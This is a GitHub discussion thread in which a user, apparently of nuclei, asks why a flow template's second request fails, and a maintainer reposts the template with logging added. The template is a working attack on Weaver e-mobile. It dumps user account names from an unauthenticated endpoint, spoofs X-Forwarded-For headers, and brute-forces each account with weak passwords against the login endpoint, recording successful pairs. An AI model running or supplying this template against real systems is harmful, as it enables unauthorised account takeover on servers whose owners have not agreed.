when use flow,I want to save result to file,but not work #4648
Replies: 3 comments
-
|
@tarunKoyalwar help help help please。 |
Beta Was this translation helpful? Give feedback.
-
|
@anquanscan , can you share more details , from what i understand you are saying the second request is not matching or returning true right ? i have updated template to log return values of function to cli . for debugging purposes id: fanwei-e-mobile-users
info:
name: fanwei-e-mobile-users
author: fanwei-e-mobile-users
severity: high
# i replaced `http(1)` with `log(http(1))` temporarily to print if request matched
flow: |
var passwordlist = ["123456","111111"];
if(log(http(1))){
for (let username of iterate(template["usernameList"])) {
set("username", username);
for (let password of iterate(passwordlist)) {
set("password", password);
if (log(http(2))){
log(template["http_1_host"]+" "+username+" "+password)
matched = true;
break;
}
}
}
}
http:
- raw:
- |
GET /e-mobile/app/common/userselectNew/do.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Cache-Control: max-age=0
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
extractors:
- type: json
part: body
name: usernameList
json:
- '.[].USER_ACCOUNTS'
internal: true
matchers-condition: and
matchers:
- type: status
# internal: true # <- uncomment this line to disable printing to terminal on match
status:
- 200
- type: dsl
# internal: true # <- uncomment this line to disable printing to terminal on match
dsl:
- contains_all(body,'USER_ID','USER_ACCOUNTS','USER_NAME')
- raw:
- |
POST /general/login/index.php?c=Login&a=loginCheck HTTP/1.1
Host: {{Hostname}}
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Connection: close
username={{username}}&password={{password}}&userLang=cn&verify=&dynamiCode=
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: dsl
dsl:
- contains_all(all_headers,'USER_NAME_COOKIE')
extractors:
- type: dsl
dsl:
- set_cookiejust run this template with |
Beta Was this translation helpful? Give feedback.
-
|
This discussion closed automatically due to inactivity. Feel free to reopen or start new if still relevant. |
Beta Was this translation helpful? Give feedback.
Uh oh!
There was an error while loading. Please reload this page.
Uh oh!
There was an error while loading. Please reload this page.
-
this matche is does not work,this is my complete code
Beta Was this translation helpful? Give feedback.
All reactions